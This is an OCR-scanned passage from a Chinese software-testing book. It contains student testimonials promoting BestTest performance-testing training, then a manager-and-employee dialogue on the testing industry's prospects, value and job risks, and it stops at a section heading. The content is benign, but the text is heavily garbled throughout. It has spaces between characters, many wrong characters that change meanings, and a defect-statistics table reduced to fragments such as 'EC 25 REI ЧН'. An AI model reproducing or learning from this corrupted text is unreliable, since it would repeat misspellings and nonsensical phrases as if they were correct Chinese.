后 来 加 了 好 多 的 软件 测试 QQ 群 和 论坛 ， 常 在 群 里 打 打 酱 油 。 在 这 个 过 程 中 ， 偶 然 看 了 小 强 老 师 的 一 些 测试 视 频 ， 清 晰 易 懂 ， 让 我 动 了 参加 培训 的 念头 。 遗 憾 的 是 ， 这 期 开展 的 是 性 能 测试 的 培训 ， 而 我 
没有 任何 测试 基础 ， 这 又 让 我 打 起 了 退 堂 鼓 。 但 令 我 大 为 感动 的 是 ， 老 师 决定 在 性 能 测试 培训 开始 之 前 ， 给 我 额外 增加 基础 课程 的 培训 ， 这 让 我 下 定 了 决心 一 定 不 境 负 老师 的 期 望 。 


我 的 学 习 算 是 零 基 础 零 经 验 ， 难 度 可 想 而 知 。 突 然 找 到 了 奋斗 的 目标 ， 我 充满 了 激情 与 动力 ， 那 段 时 间 现 在 想起 来 都 是 无 比 充实 的 。 我 很 庆幸 所 有 的 课程 都 是 实战 ， 不 仅 摆脱 了 纯 理 论 ， 也 培养 了 我 大 
局 观 的 思维 ， 更 让 我 明白 了 只 有 实践 才 是 检验 真理 的 唯一 标准 。 


在 学 习 的 过 程 中 遇 到 了 很 多 困难 ， 就 拿 记 得 比较 清楚 的 几 件 事情 讲 讲 吧 。 


1) 我 之 前 没有 接触 过 Linux，C 语 言 也 包 光 了 ，TCP/IP 协 议 更 搞 不 懂 ， 就 这 样 在 功能 测试 的 学 习 后 ， 跟 大 家 一 起 开始 了 性 能 测试 的 学 习 。 从 基本 概念 、 常 用 术语 、 性 能 计数 器 、 前 端 性 能 ， 到 性 能 测试 
工具 LoadRunner 的 应 用 、 监 控 工 具 与 命令 、 系 统 架 构 的 分 析 、 人 性 能 调 优 等 ， 我 一 步 步 运 入 了 性 能 测试 的 领域 。 昌 然 我 的 基础 不 如 大 家 ， 在 这 个 过 程 中 一 次 次 被 狠 狠 地 打击 ， 但 在 老师 和 同学 的 鼓励 和 帮助 
下 ， 通 过 自己 的 勤奋 还 是 坚持 了 下 来 。 


2) 通过 几 个 大 型 项 目的 实战 ， 我 对 软件 功能 测试 及 性 能 测试 都 有 了 一 定 程 度 的 了 解 ， 项 目 也 能 顺利 地 完成 ， 很 有 成 就 感 。 接 下 来 就 开始 准备 简历 。 糟 糕 、 缺 乏 亮点 的 简历 在 投递 之 后 就 查 无 音讯 了 。 也 
被 老师 一 顿 痛 批 ， 最 后 在 老师 的 指导 下 ， 修 改 后 的 简历 效果 明显 ， 我 收 到 了 十 几 个 面试 电话 ， 但 在 面试 的 过 程 中 又 让 我 尴 炊 百 出 。 我 性 格 偏 内 向 ， 又 不 太 擅 长 总 结 ， 面 试 的 时 候 ， 一 紧张 ， 面 试 官 的 问题 回 
答 得 也 不 理想 ,错失 了 几 个 比较 好 的 公司 。 后 来 在 老师 的 帮助 指导 和 自己 的 不 断 总 结 下 ， 最 终 找 到 了 一 份 满意 的 工作 ， 非 常 感 澳 老 师 当 初 的 严厉 与 耐心 。 


来 到 新 公司 4 个 月 了 ， 在 这 里 ， 我 独自 承担 了 性 能 测试 的 工作 ， 从 开始 的 志 邱 不安， 到 现在 的 驾轻就熟 。 其 中 可 谓 是 痛 并 快乐 着 ， 各 种 奇 范 问 题 经 党 发生 ， 但 还 是 在 努力 下 解决 了 ， 也 学 习 到 了 不 少 知 
识 。 测 试 完成 后 ， 经 理 对 我 的 工作 提出 了 表扬 与 认可 ， 这 种 成 就 感 无 法 形容 。 我 之 前 以 为 不 能 做 到 的 ， 现 在 都 做 到 了 。 很 感激 老师 在 我 转行 的 道路 上 给 我 的 鼓励 与 帮助 ， 没 有 基础 不 可 怕 ， 只 要 有 决心 ,有 
毅力 ， 选 择 了 好 的 学 习 途 径 ， 总 有 一 天 我 们 会 成 功 ， 找 到 属于 自己 的 路 。 


以 上 来 自学 员 小 娟 (化 名 ) 的 自述 。 


11.2 ”好 妈妈 转型 性 能 测试 ， 年 龄 不 是 阻碍 


我 之 前 在 一 家 公司 工作 了 7 年 左右 的 时 间 ， 一 直 做 功能 测试 ， 还 有 一 些 不 太 专 业 的 性 能 测试 ， 由 于 项 目 规模 都 不 太 大 ， 对 性 能 要 求 也 不 高 ， 一 切 都 还 算得 心 应 手 。 但 是 待遇 到 了 某 个 程度 后 ， 加 薪 就 很 难 
了 ， 中 间 又 加 上 生 孩 子 ， 有 3 年 左右 的 时 间 工 资 都 没有 涨 过 ， 而 且 看 不 到 加 薪 希 望 ， 技 术 方 面 也 没有 什么 大 的 提升 ， 待 得 实在 没什么 意思 ， 于 是 果断 辞职 ， 打 算 先 休息 一 段 时 间 陪 陪 孩子 ， 然 后 边 学 习 ， 边 找 
工作 。 


起 初 找 工 作 的 时 候 投了 很 多 简历 ， 要 么 是 待遇 谈 不 拢 ， 要 么 技术 达 不 到 对 方 的 要 求 。 经 过 一 段 时 间 的 思考 总 结 ， 我 觉得 解决 问题 的 突破 口 是 尽 快 提升 自己 的 能 力 ， 只 要 能 力 达 到 要 求 ， 工 作 应 该 不 是 问 


于 是 我 制定 了 宏大 的 学 习 计 划 ， 学 习 自动 化 测试 、 性 能 测试 、CSS、HTML、Java 语 言 、 数 据 库 以 及 脚本 语言 等 ， 各 种 资料 、 视 频 都 找 全 了 准备 努力 学 习 。 虽 然 已 经 离职 ， 但 是 家 里 有 孩子 ， 学 习 时 间 不 
是 太 多 ， 我 就 抓紧 一 切 可 以 利用 的 时 间 学 习 ， 不 看 电视 、 不 上 网 玩 、 不 玩 游戏 ， 学 习 笔 记 也 记 了 不 少 ， 也 尽量 动手 去 做 ,但 是 学 完了 以 后 ， 没 有 实际 的 用 途 ， 很 快 就 志 记 了 。 自 学 了 一 段 时 间 后 ， 感 觉 虽 然 
每 天 都 忙 忙碌 碌 ， 但 是 学 习 效果 确实 很 一 般 ， 一 边 学 ,一边 志 ， 而 且 学 得 也 很 不 系统 ， 于 是 产生 了 一 个 通过 参加 培训 班 系统 地 学 习 提 高 的 想法 。 


一 次 偶然 的 机 会 ， 同 学 向 我 推荐 了 BestTest 性 能 测试 学 习 的 群 ， 在 群 里 碰 到 了 小 强 老 师 ， 也 了 解 到 他 们 正在 举办 性 能 测试 的 培训 班 ， 于 是 就 毫 不 犹 驳 地 报 了 性 能 测试 的 培训 ， 和 希望 以 此 为 突破 口 ， 实 现 
自己 在 测试 方向 的 转变 。 


参加 了 培训 以 后 ,一 切 都 变 得 有 条 不 订 ， 上 课 认 真 听讲 ， 严 格 按 照 老师 要 求 完成 课 后 作业 ， 也 毫 不 担心 进度 的 问题 ， 跟 着 老师 的 进度 就 行 了 。 我 想 很 多 妈妈 级 的 朋友 都 会 担心 学 习 的 问题 ， 其 实 我 个 人 


觉得 贵 在 坚持 ， 就 看 你 有 没有 决心 ， 不 能 以 孩子 作为 懒散 的 借口 。 当 时 我 一 般 都 是 晚上 把 孩子 哄 睡 了 ， 然 后 再 起 来 做 作业 ， 记 得 有 次 做 着 作业 ， 往 窗外 一 看 ， 天 竟然 亮 了 。 当 然 不 是 提倡 大 家 跟 我 学 ， 因 为 
我 是 离职 状态 。 我 只 是 说 如 果 决 心 要 学 习 ， 就 一 定 要 下 决心 学 好 ， 并 找 个 适合 自己 的 学 习 方 式 。 


经 过 一 段 时 间 的 学 习 后 ， 我 的 知识 变 得 系统 化 ， 很 多 东西 都 可 以 在 实际 中 应 用 起 来 ， 让 我 很 有 收获 感 ， 最 后 在 老师 、 同 学 们 的 帮助 下 面试 了 一 个 性 能 测试 职位 ， 面 试 的 过 程 比较 顺利 ， 因 为 大 部 分 都 是 
上 课 学 的 东西 ， 所 以 很 顺利 地 拿 到 了 Offer， 当 然 薪 水 我 也 是 比较 满意 的 。 最 后 我 还 想 给 妈妈 级 的 朋友 鼓励 一 下 ,一切 错 有 可 能 |! 


以 上 来 自学 员 小 诊 (化 名 ) 的 自述 。 


11.3 “从 功能 测试 到 性 能 测试 的 完美 转型 


我 从 事 测试 工作 都 将 近 5 年 了 ， 当 初 进入 第 一 家 公司 主要 是 了 解 了 什么 是 测试 ， 只 是 对 页 面 功能 的 验证 ， 就 是 大 家 所 说 的 “点 点 能 不 能 用 ”。 拿 着 测试 行业 最 低 的 工资 ， 没 有 什么 工作 压力 ， 每 天 都 做 着 
重复 的 工作 。 


后 来 进入 一 个 创业 型 的 公司 ， 由 于 产品 业务 性 比较 强 ， 觉 得 刚 开 始 面临 着 不 小 的 挑战 。 在 这 才 知 道 原 来 测试 人 员 需 要 了 解 Linux 环 境 ， 需 要 具备 自己 搭建 环境 的 能 力 ， 需 要 具备 查看 错误 日 志 、 修 改 配置 
文件 的 能 力 ， 需 要 具备 很 强 的 数据 库 方面 的 知识 ， 需 要 了 解 正 则 表达 式 ， 需 要 有 点 脚本 编写 能 力 ， 偶 尔 还 需要 查看 开发 人 员 的 代码 ， 了 解 代码 逻辑 ， 原 来 .…… 突 然 觉得 自己 了 解 的 东西 实在 太 少 了 。 正 是 因为 
这 样 ， 加 上 心里 一 直 有 个 性 能 测试 梦 ， 所 以 产生 了 学 习性 能 测试 的 想法 。 


在 一 些 机 缘 巧 合 的 情况 下 ， 认 识 了 小 强 和 安 大 叔 。 于 是 毫 不 犹豫 地 拜 入 门下 。 两 人 对 我 们 的 要 求 挺 严格 ， 又 是 我 们 很 爱 的 两 个 人 。 他 们 会 直言 不 讳 地 指出 我 们 的 缺点 ， 需 要 加 强 的 地 方 ， 耐 心地 引导 我 
们 ， 这 种 责任 感 让 我 震惊 。 有 了 他 们 的 帮助 和 指导 ， 我 尽快 了 解 了 大 公司 都 是 怎么 做 性 能 测试 的 。 在 工作 中 都 需要 什么 样 的 技能 才能 成 为 一 名 性 能 测试 工程 师 。 当 然 这 个 阶段 对 我 来 说 也 是 挺 难 元 的 。 因 为 
工作 内 容 本 来 就 挺 繁重 的 ， 表 加 上 平时 的 作业 ， 累 得 不 得 了 。 晚 上 电视 也 不 看 了 ， 白 天 手机 上 也 不 下 载 电 影 了 ， 来 公司 后 也 不 看 娱乐 新 闻 了 ， 总 是 觉得 时 间 不 够 用 。 我 记得 有 一 份 作业 我 重 做 了 5 次 之 后 才 彻 
底 理解 了 ， 分 析 思 路 也 才 逐 渐 清 晰 。 这 个 阶段 还 是 蛮 玉 苦 的 ， 也 许 我 的 起 点 不 高 ， 但 不 代表 我 是 最 后 一 个 到 达 终 点 的 。 最 后 我 还 是 坚持 下 来 了 ， 没 有 被 其 他 事情 阻 扰 ， 没 有 去 抱怨 什么 ， 只 是 专心 地 按照 计 


划一 步 步 做 。 


学 完 之 后 就 是 不 断 地 找 工 作 ， 不 断 地 去 面试 ， 最 终 找到 了 两 个 比 之 前 工资 翻 倍 的 工作 ， 哈 哈 ， 我 以 前 真 没 有 想到 过 。 如 果 不 是 小 强 和 安 大 叔 的 帮助 ， 我 自己 真 没有 这 样 的 自信 去 面试 专职 性 能 测试 工程 
师 的 职位 。 


说 了 这 么 多 废话 ， 大 家 是 不 是 也 看 到 了 自己 的 影子 了 呢 ? 不 管 怎么 样 ， 我 们 都 共同 加 油 吧 。 虽 然 我 这 么 拼 只 是 因为 一 个 很 俗 的 原因 ， 我 想 赚钱 ， 虽 然 我 是 个 对 钱 很 不 看 重 的 人 ， 但 是 我 喜欢 做 个 经 济 独 
立 的 人 ， 我 也 喜欢 用 亲自 赚 的 钱 给 杀人 和 爱人 共同 分 享 ， 让 他 们 的 生活 能 够 更 好 一 点 ， 或 许 让 他 们 的 负担 更 轻 一 点 。 我 喜欢 有 挑战 性 的 工作 ， 我 不 喜欢 一 成 不 变 ! 挑战 ，come on! 


以 上 来 自学 员 小 蕾 (化 名 ) 的 自述 。 


11.4 ”本章 小 结 


本 章 精 选 了 几 位 在 BestTest 参 加 培训 学 员 的 真实 经 历 ， 他 们 以 淳朴 、 简 单 、 没 有 任何 修饰 的 语言 自述 自己 的 学 习 历 程 与 心得 。 从 中 我 们 可 以 看 出 ， 成 功 与 否 与 年 龄 无 关 、 与 智商 无 天 、 与 性 别 无 天 、 与 
基础 无 关 、 与 学 历 无 天 、 与 职业 无 天， 也 许 有 关 的 就 是 你 的 心态 。 


我 们 都 怀揣 着 梦想 在 北上 广 这 些 梦 室 以 求 的 大 城市 打拼 ， 有 时 候 我 们 会 迷失 自己 ,会 被 负 能 量 所 控制 ， 于 是 我 们 不 停 地 抱怨 、 不 停 地 胆 层 。 当 你 看 完 这 几 位 的 真实 自述 后 ， 也 许 你 会 有 一 丝 感动 、 一 丝 
渴望 ， 那 么 请 付 诸 于 行动 吧 ， 也 许 下 一 个 成 功 者 就 是 你 。 
第 12 草 “测试 工程 师 职 业 发 展 分 析 


终于 有 盼 到 一 个 小 长 假 能 好 好 休息 休息 了 ， 小 白 高 兴 之 余 也 想到 了 在 这 段 时 间 的 学 习 中 ， 小 黑 经 理 给 予 了 很 多 的 帮助 与 鼓励 ， 应 该 好 好 谢谢 他 ， 于 是 小 白 约 经 理 周 末 一 起 吃 个 饭 以 表 感谢 ， 同 时 还 能 再 请 
教 点 职业 发 展 方面 的 经 验 。 


两 人 如 约 而 至 ， 终 于 在 人 山 人 海 的 饭店 中 找到 了 一 处 落脚 之 地 ， 上 菜 完 毕 ， 两 人 之 不 避讳 地 狼吞虎咽 起 来 。 虽 说 菜 十 分 可 口 ， 但 小 白 没有 忘记 有 些 事情 要 请 教 经 理 。 


121 ”软件 测试 现状 与 友 展 前 景 


“老大 ， 昌 然 我 干 了 一 段 时 间 测 试 了 ， 但 也 没 对 咱们 测试 行业 的 现状 和 发 展 思考 过 ,我 经 常 听 到 同事 、 朋 友 抱 怨 测 试 ， 吐 槽 测试 ， 您 是 怎么 看 的 ? ”小 白 问 道 。 
听 到 这 个 问题 ， 小 黑 经 理 放 下 筷子 ， 语 重心 长 地 说 了 如 下 内 容 。 


在 国内 还 存在 较为 严重 的 重视 编码 和 轻视 测试 的 现象 ， 前 段 时 间 无 意 中 看 到 某国 外 知名 社交 网 站 之 前 一 直 声称 他 们 不 需要 测试 ， 但 现在 却 服输 了 ， 开 始 招聘 测试 工程 师 。 可 见 不 论 是 国内 ， 还 是 国外 ， 
对 于 软件 测试 的 重要 性 都 存在 很 多 的 认识 误区 。 我 们 可 以 从 以 下 几 个 方面 来 探讨 测试 行业 的 现状 与 发 展 前 景 。 


(1) 软件 测试 介入 时 期 
多 数 公司 的 软件 测试 都 是 在 开发 完成 后 才 介 入 ， 而 事实 证 明 ， 后 期 修复 Bug 的 成 本 要 远 远 高 于 前 期 。 所 以 测试 应 该 在 前 期 就 介入 ， 贯 穿 于 项 目的 整个 生命 周期 中 。 咱 们 公司 在 这 方面 也 在 努力 改进 。 
(2) 软件 测试 任何 人 都 可 以 干 


我 不 否认 这 点 ， 但 是 要 用 客观 的 态度 来 思考 ， 对 于 黑 盒 功能 测试 来 说 ， 的 确 是 任何 人 都 可 以 干 的 ， 只 要 掌握 测试 基础 知识 。 我 曾经 在 培训 机 构 教 过 的 学 员 只 上 了 半 个 月 的 课程 ， 就 可 以 完全 胜任 黑 盒 功 


能 测试 。 
而 对 于 其 他 测试 ， 如 性 能 测试 、 自 动 化 测试 、 安 全 测试 ， 并 不 是 任何 人 都 可 以 干 的 ， 需 要 有 专业 的 知识 、 冷 静 的 思考 分 析 等 多 种 软 硬 技能 相辅相成 才 行 ， 这 样 的 职位 也 不 容易 被 取代 。 
(3) 测试 工程 师 责 任 论 


测试 是 测试 工程 师 的 责任 ， 开 发 没有 义务 测试 ， 出 现 问 题 也 是 测试 的 责任 ， 因 为 没有 在 上 线 前 测试 出 来 。 我 想 很 多 人 会 对 此 产生 强烈 的 共鸣 ， 这 种 错误 的 认识 在 国内 太 严重 了 ， 也 是 造成 测试 发 展 缓慢 
的 一 大 原因 。 


我 曾经 在 一 家 合资 公司 访问 过 ， 他 们 的 开发 与 测试 人 员 十 分 和 谐 ， 测 试 人 员 完 成 擅长 的 用 例 设 计 ， 开 发 人 员 则 完成 擅长 的 测试 代码 编写 ， 相 互 取长补短 合力 完成 项 目 ， 当 然 这 需要 有 强大 的 项 目 管理 与 
规划 能 力 ， 能 协调 分 配 好 各 自 的 工作 量 ， 避 免 不 均 等 造成 的 争吵 ， 但 至 少 这 种 做 法 我 觉得 是 一 种 创新 。 


(4) 测试 的 时 间 总 是 被 压缩 


当 项 目 进 度 延 期 时 ， 往 往 会 简单 地 缩短 测试 时 间 以 达到 按时 上 线 。 这 是 完全 不 可 取 的 。 因 为 缩短 测试 时 间 带 来 的 测试 不 完整 会 引起 潜在 风险 ， 往 往 会 造成 更 糟糕 的 后 果 。 我 们 不 应 该 简单 粗暴 地 压缩 测 
试 时 间 ， 而 应 该 重新 思考 合理 规划 ， 分 析 是 哪个 环节 出 了 问题 ， 以 后 如 何 克 服 等 ， 这 才 是 解决 的 根本 之 道 。 幸 好 咱们 公司 这 块 做 得 还 不 错 。 


(5) 测试 人 员 没 有 前 途 
这 是 个 长 久 不 豪 的 话题 ， 也 是 引起 |T 界 讨论 最 多 的 。 不 过 随 着 市 场 需求 的 不 断 变化 ， 以 及 对 软件 质量 要 求 的 不 断 提高 ， 软 件 测试 将 变 得 越 来 越 重 要 也 只 是 时 间 的 问题 。 


对 于 一 些 比较 规范 的 公司 ， 软 件 测 试 工程 师 的 数量 和 待遇 与 开发 工程 师 并 没有 多 大 差别 ， 优 秀 测试 工程 师 的 待遇 甚至 比 开发 工程 师 还 要 高 。 任 何事 物 的 发 展 都 需要 一 个 过 程 ， 起 初 的 房价 十 分 低 ， 但 现 
在 的 房价 却 高 得 可 怕 ， 所 以 我 也 相信 软件 测试 将 会 成 为 一 个 具有 很 大 友 展 前 景 的 行业 ， 只 是 还 需要 一 些 磨 炼 和 时 间 的 沉 演 而 已 。 


(6) 测试 行业 的 未 来 发 展 


软件 产业 是 国家 鼓励 发 展 的 朝阳 产业 ， 而 现在 市 场 和 用 户 都 对 软件 质量 的 要 求 很 高 ， 所 以 产生 大 量 测试 工程 师 的 需求 是 必然 的 。 同 时 ， 软 件 测试 入 门 门槛 相对 较 低 ， 这 样 能 够 为 刚 毕业 的 学 生 提 供 一 条 
职业 发 展 的 途径 ， 但 想得到 提升 、 获 得 高 薪 ， 必 须 先 付出 辛勤 的 努力 ， 天 下 没有 免费 的 午餐 ! 


小 白 听 完 后 心里 暗暗 地 称赞 : “老大 不 愧 是 者 大， 就 是 分 析 得 透彻 啊 。" 


12.2 ”如 何 成 为 测试 工程 师 


小 白 接着 又 问 : “我 身边 有 一 些 朋 友 想 转行 做 测试 ， 也 有 一 些 是 遇 到 瓶颈 想 突 破 的 。 老 大 ， 您 有 什么 建议 ?“ 
小 黑 经 理 回 答 到 : 我 们 就 从 以 下 两 方面 聊 聊 。 


1) 对 于 想 成 为 测试 工程 师 的 人 而 言 。 首 先 ， 需 要 了 解 测试 这 个 行业 ， 看 是 否 符合 自己 的 爱好 或 需求 ， 是 人 否 愿 意 接受 挑战 。 其 次 ， 需 要 逐步 培养 测试 思维 ， 软 件 测试 实际 上 更 看 重 逻辑 思维 方法 。 测 试 工 


程 师 往往 关注 的 是 产品 Bug， 就 像 是 拿 着 放大 镜 在 细 细 碍 找 ， 是 一 个 细致 的 工作 。 再 次 ， 要 明白 什么 是 一 次 成 功 的 测试 。 不 是 没有 发 现 Bug 就 成 功 了 ， 相 反应 该 是 一 次 失败 的 测试 。 我 们 最 初 的 目的 就 是 发 
现 Bug， 如 果 Bug 都 发 现 不 了 ， 岂 不 是 没有 达到 目的 ， 怎 么 能 说 是 成 功 的 测试 呢 ” 最 后 ， 想 成 为 测试 工程 师 需要 准备 好 吸收 大 量 知识 ， 如 果 你 不 想 成 为 一 名 普通 的 测试 工程 师 ， 则 各 种 开发 技术 、 测 试 技 
术 、 管 理 技能 、 数 据 库 、 中 间 件 、 网 络 等 都 需要 懂 一 些 ， 最 好 再 精通 一 门 或 几 门 编程 语言 。 测 试 工程 师 的 学 习 和 学 开车 一 样 ， 掌 握 基 本 要 领 后 ， 就 是 多 想 、 多 练 、 多 总 结 ， 这 样 必然 能 成 为 一 名 测试 工程 
师 ! 


2) 对 于 想 成 为 优秀 测试 工程 师 的 人 而 言 。 首 先 ， 要 热爱 测试 。 其 次 ， 要 有 良好 的 沟通 能 力 和 理解 能 力 ， 如 果 没 有 良好 的 沟通 能 力 ， 就 无 法 表达 自己 的 意见 ， 如 果 没 有 良好 的 理解 能 力 ， 就 无 法 完全 理解 
需求 和 设计 。 再 次 ， 要 有 过 硬 的 技术 能 力 ， 不 仅 是 编程 能 力 ， 还 有 排 错 能 力 等 ， 而 我 发 现 大 部 分 测试 工程 师 的 排 错 能 力 都 比较 弱 。 最 后 ， 要 培养 开 阅 的 思路 、 逆 向 思维 等 。 然 后 给 自己 设 定 目标 ， 为 目标 专 
注 努 力 ， 实 践 、 思 考 、 总 结 再 实践 。 我 相信 经 过 这 些 ， 一 定 可 以 成 为 一 名 优秀 的 测试 工程 师 。 


小 白 听 后 感叹 到 : “原来 我 离 优秀 的 测试 工程 师 还 有 这 么 大 差距 啊 ， 唉 !“ 


“不 要 泄气 ， 你 已 经 不 错 了 ， 再 努力 努力 指日可待 啊 ! ”小 黑 经 理 说 。 


12.3 ”测试 工程 师 的 实际 价值 


“对 了 ， 老 大 ， 我 最 近 参 加 了 BestTest 的 测试 沙龙 ， 我 觉得 有 一 个 话题 值得 讨论 ， 就 是 测试 工程 师 的 实际 价值 到 底 是 啥 ? ”小 白 突然 说 道 。 


小 黑 经 理 惊讶 地 说 : “可 以 啊 ， 这 个 问题 都 想到 了 啊 ! 哈哈 ! 那 咱们 就 说 说 这 个 话题 。” 
很 多 人 包括 我 自己 以 前 都 对 测试 充满 了 偏见 ， 认 为 测试 只 是 指 指点 点 ， 其 实现 在 有 不 少 测试 人 员 也 是 这 样 想 的 ， 总 抱怨 为 什么 会 看 不 起 测试 ， 有 本 事 你 开发 出 一 个 零 缺 陷 的 系统 ， 等 等 诸如 此 类 。 但 冷 


静 下 来 想 想 ， 现 在 很 多 测试 人 员 基本 都 是 停留 在 发 现 Bug 的 初级 阶段 ， 无 法 深入 分 析 产 出 有 价值 的 东西 。 如 果 一 直 处 于 这 样 的 阶段 ， 那 么 任何 没有 基础 的 人 只 要 了 解 了 业务 ， 就 可 以 做 这 个 工作 ， 你 很 容易 
被 取代 ! 


那么 我 们 就 要 思考 测试 工程 师 的 实际 价值 到 底 是 什么 ? 能 给 产品 或 者 研发 体系 带 来 什么 有 价值 的 东西 ? 能 产 出 什么 有 意义 的 东西 ? 这 一 系列 的 问题 值得 我 们 深思 。 所 以 我 们 应 该 先 从 自身 找 原因 。 
其 实测 试 工程 师 可 以 给 产品 以 及 研发 体系 带 来 很 多 宝贵 的 价值 ， 从 以 下 几 个 方面 来 说 说 。 


1) 对 于 产品 而 言 ， 测 试 工程 师 要 遍历 所 有 测试 点 ， 同 时 也 要 对 产品 、 业 务 进行 深入 理解 ， 可 以 说 一 点 都 不 亚 于 产品 人 员 ， 所 以 测试 工程 师 在 产品 设计 与 体验 上 有 足够 的 发 言 权 。 测 试 工程 师 可 以 从 另 一 
个 角度 来 看 待产 品 ， 可 以 提出 更 多 的 建议 与 意见 ， 而 且 测 试 工程 师 的 思维 是 续 密 的 ， 考 虑 问题 是 多 面 的 ， 可 以 弥补 最 初 产品 在 设计 时 考虑 不 周 的 现象 ， 将 Bug 提 前 扼杀 到 摇篮 里 。 


【案例 1 】 我 以 前 公司 的 测试 部 曾 主导 推动 一 个 全 新 App 的 诞生 ， 不 亚 于 产品 人 员 设 计 的 ， 后 期 推广 效果 也 非常 好 ， 成 为 公司 新 一 年 的 源头 产品 。 所 以 我 想 阅 ， 不 仅 要 敢 想 ， 更 要 敢 做 ， 哪 怕 遍 体 鲜 伤 ， 
也 要 伤 得 
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2) 对 于 开发 而 言 ， 测 试 工 程 师 不 仅 是 提出 Bug 的 人 ， 更 可 以 充当 分 析 Bug 的 人 ， 产 出 缺陷 知识 库 帮 助 开 友人 员 降 低 Bug 出 现 与 重复 的 概率 ， 而 这 也 是 测试 的 核心 价值 。 图 12-1 展 示 了 某 个 项 目 中 的 缺陷 
类 型 统计 以 及 分 类 总 结 ， 这 些 都 是 提升 开发 质量 的 “武器 ”。 
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9121 茶 个 项 目 中 的 缺陷 类 型 统计 以 及 分 类 总 结 


表 12-1 是 对 缺陷 的 一 些 统计 说 明 。 


表 12-1 缺陷 统计 信息 


缺陷 类 别 数量 缺陷 产生 原因 
(D 共用 的 模块 未 做 统一 提取 管理 调用 
缺少 参数 
(3) EC 25 REI ЧН 
D 和 需求 不 符 
山 未 考虑 大 数据 下 的 显示 
(2 UI 文字 提示 不 统 
D 跳 转 定位 不 够 友好 
山 没 有 明确 页 面 刷新 机 制 
@ 人 口 太 杂 ， 使 用 户 感到 困惑 
(OD 没有 是 义 出 初始 化 时 需要 的 数据 
(20 对 做 限制 的 地 方 缺少 明确 的 要 求 
LED 19 D 忽略 了 多 个 版 本 之 间 的 限制 ， 如 露出 位 、 入 口 、 功 能 等 
(49 规则 的 变 

加 未 考虑 大 数据 下 的 提取 
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3) 对 于 研发 体系 而 言 ， 测 试 是 衔接 上 游 与 下 游 的 纽带 ， 甚 至 需要 直接 面 对 客户 ， 不 是 独立 、 片 面 的 工作 。 能 够 从 大 局 的 角度 去 思考 、 沟 通 ， 在 整个 研发 体系 中 处 于 重要 的 位 置 ， 而 我 们 常常 忽略 这 些 ， 
也 没有 利用 这 些 。 我 们 完全 可 以 从 前 期 的 设计 、 需 求 、 开 发 、 测 试 以 及 后 续 的 交付 、 维 护 等 多 方面 为 研发 体系 的 改进 提出 合理 、 有 价值 的 建议 ， 有 效 地 提升 流程 与 效率 。 


【案例 2】 我 以 前 公司 测试 部 曾经 以 测试 驱动 开发 的 模式 来 约束 、 规 学 、 完 善 研发 体系 流程 ， 成 效 提升 明显 ， 不 论 是 代码 质量 ， 还 是 文档 质量 都 有 了 质 的 提高 ， 减 少 了 信息 孤岛 的 现象 ， 逐 步 提升 了 整个 
研发 体系 的 效率 与 质量 。 


咱们 部 门 现在 也 在 逐步 做 这 些 事情 ， 和 希望 能 早日 规范 起 来 ， 你 有 好 的 想法 一 定 要 和 我 交流 啊 ! 


小 白 此 时 才 忧 然 大 悟 ， 原 来 测试 能 有 这 么 大 的 价值 。 “一 定 ， 我 会 更 加 努力 ! ”小 白 坚定 地 回答 。 


12.4 ”测试 工程 师 的 危机 


够 似 是 小 黑 经 理 的 兴趣 被 义 起 ， 没 等 小 白 开 口 ， 继 续 说 到 : 虽然 我 们 的 行业 有 美好 的 发 展 前 景 ， 但 是 危机 也 同样 存在 。 我 记得 之 前 看 过 某 大 型 招聘 网 站 发 布 的 一 个 统计 信息 : 
2014 年 竞争 最 激烈 的 职业 是 财务 、 审 计 、 税 务 ;|T 质 量 管理 、 测 试 、 配 置 管 理 ;软件 、 互 联网 开发 、 系 统 集成 。 这 3 类 职业 的 竞争 指数 分 别 为 151、134.8、89.9。 
虽然 此 调查 不 能 全 面 、 准 确 地 体现 竞争 态势 ， 但 也 客观 地 反映 了 测试 行业 的 竞争 激烈 程度 。 这 也 是 测试 工程 师 目前 需要 面 对 的 危机 。 

除了 竞争 危机 外 ， 技 术 上 也 面临 很 大 的 危机 ， 这 里 举 两 个 真实 的 案例 来 说 明 。 


【案例 3】 某 测试 工程 师 ， 每 天 干 的 基本 的 事情 是 重复 的 功能 测试 ， 点 来 点 去 地 提交 Bug， 无 其 他 事情 。 也 许 在 大 部 分 人 眼 里 这 是 个 幸福 的 工作 ， 但 有 危机 感 的 人 肯定 会 认为 这 是 份 危险 的 工作 。 事 实 也 
证 明 ， 在 公司 缩减 的 阶段 ， 这 样 的 员工 成 为 了 首选 裁员 对 象 。 我 也 无 能 为 力 ， 没 法 挽救 他 。 


案例 分 析 : 通过 本 案例 可 以 发 现 ， 单 纯 的 黑 盒 手工 测试 在 如 今 的 IT 业 中 几乎 没有 竞争 力 ， 随 时 可 以 被 取代 ， 也 许 你 今天 还 在 喝 着 茶 ， 明 天 就 被 裁员 回 家 了 。 所 以 在 瞬息 万 变 的 IT 业 中 ， 一 定 要 有 一 门 或 
几 门 特别 的 技能 作为 竞争 硅 码 ， 这 样 才 不 会 被 淘汰 。 


【案例 4】 某 性 能 测试 工程 师 ， 大 部 分 时 间 在 进行 系统 的 性 能 测试 ， 无 项 目 时 参与 功能 测试 。 虽 然 做 了 几 个 项 目的 性 能 测试 ， 但 感觉 还 是 有 很 多 不 懂 ， 有 时 候 不 知 如 何 下 手 ， 分 析 定 位 能 力 还 有 点 弱 。 小 
白 你 这 方面 仍 需要 继续 努力 ， 早 日 成 为 高 手 ， 到 时 候 我 就 能 放下 心 来 了 。 


案例 分 析 : 即使 步 入 性 能 测试 ， 也 有 许多 东西 需要 积累 、 提 高 ， 知 识 的 广度 与 深度 都 是 需要 时 间 与 项 目 沉淀 的 ， 要 一 直 学 习 补 充 才 行 ， 更 应 该 感受 到 危机 的 吊 吊 站 人 ， 所 以 ,我 们 应 该 告诉 自己 “再 不 
学 习 我 们 就 老 了 ”。 


面 对 这 些 危 机 ， 作 为 测试 工程 师 ， 不 应 该 租 形 、 抱 她 ， 恰 恰 相 反 ， 更 应 该 积极 、 努 力 地 改变 自己 、 提 升 自己 去 适应 这 个 行业 的 发 展 ， 这 样 才能 占有 一 席 之 地 。 
小 白 听 完 后 调皮 地 说 道 : “老大 你 就 不 怕 我 超过 你 ， 把 你 取代 啊 ， 哈 哈 !“ 


小 黑 经 理 哈哈 大 笑 : “我 求 之 不 得 。” 


12.5 ”测试 工程 师 的 职业 友 展 方向 


